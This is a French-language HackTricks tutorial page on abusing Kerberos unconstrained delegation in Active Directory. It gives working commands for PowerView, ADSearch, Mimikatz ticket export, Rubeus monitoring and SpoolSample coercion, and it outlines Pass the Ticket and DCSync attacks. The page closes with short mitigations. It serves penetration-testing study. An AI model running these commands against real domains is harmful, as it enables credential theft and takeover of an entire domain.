Délégation non contrainte

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Délégation non contrainte

C'est une fonctionnalité qu'un administrateur de domaine peut définir sur n'importe quel ordinateur à l'intérieur du domaine. Ensuite, chaque fois qu'un utilisateur se connecte à l'ordinateur, une copie du TGT de cet utilisateur va être envoyée dans le TGS fourni par le DC et sauvegardée en mémoire dans LSASS. Donc, si vous avez des privilèges d'administrateur sur la machine, vous pourrez extraire les tickets et usurper les utilisateurs sur n'importe quelle machine.

Ainsi, si un administrateur de domaine se connecte à un ordinateur avec la fonctionnalité "Délégation non contrainte" activée, et que vous avez des privilèges d'administrateur local sur cette machine, vous pourrez extraire le ticket et usurper l'administrateur de domaine n'importe où (élévation de privilèges de domaine).

Vous pouvez trouver des objets ordinateur avec cet attribut en vérifiant si l'attribut userAccountControl contient ADS_UF_TRUSTED_FOR_DELEGATION. Vous pouvez le faire avec un filtre LDAP de ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, ce que fait powerview :

# Lister les ordinateurs non contraints
## Powerview
Get-NetComputer -Unconstrained #Les DC apparaissent toujours mais ne sont pas utiles pour l'élévation de privilèges
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Exporter les tickets avec Mimikatz
privilege::debug
sekurlsa::tickets /export #Méthode recommandée
kerberos::list /export #Autre méthode

# Surveiller les connexions et exporter de nouveaux tickets
.\Rubeus.exe monitor /targetuser: /interval:10 #Vérifier toutes les 10s pour de nouveaux TGTs

Chargez le ticket de l'administrateur (ou de l'utilisateur victime) en mémoire avec Mimikatz ou Rubeus pour un Pass the Ticket.
Plus d'infos : https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
Plus d'informations sur la délégation non contrainte dans ired.team.

Forcer l'authentification

Si un attaquant est capable de compromettre un ordinateur autorisé pour "Délégation non contrainte", il pourrait tromper un serveur d'impression pour se connecter automatiquement contre lui en sauvegardant un TGT dans la mémoire du serveur.
Ensuite, l'attaquant pourrait effectuer une attaque Pass the Ticket pour usurper le compte d'ordinateur du serveur d'impression.

Pour faire connecter un serveur d'impression contre n'importe quelle machine, vous pouvez utiliser SpoolSample:

bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>

Si le TGT provient d'un contrôleur de domaine, vous pourriez effectuer une attaque DCSync et obtenir tous les hachages du DC.
Plus d'infos sur cette attaque sur ired.team.

Voici d'autres façons d'essayer de forcer une authentification :

Force NTLM Privileged Authentication

Atténuation

  • Limiter les connexions DA/Admin à des services spécifiques
  • Définir "Le compte est sensible et ne peut pas être délégué" pour les comptes privilégiés.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks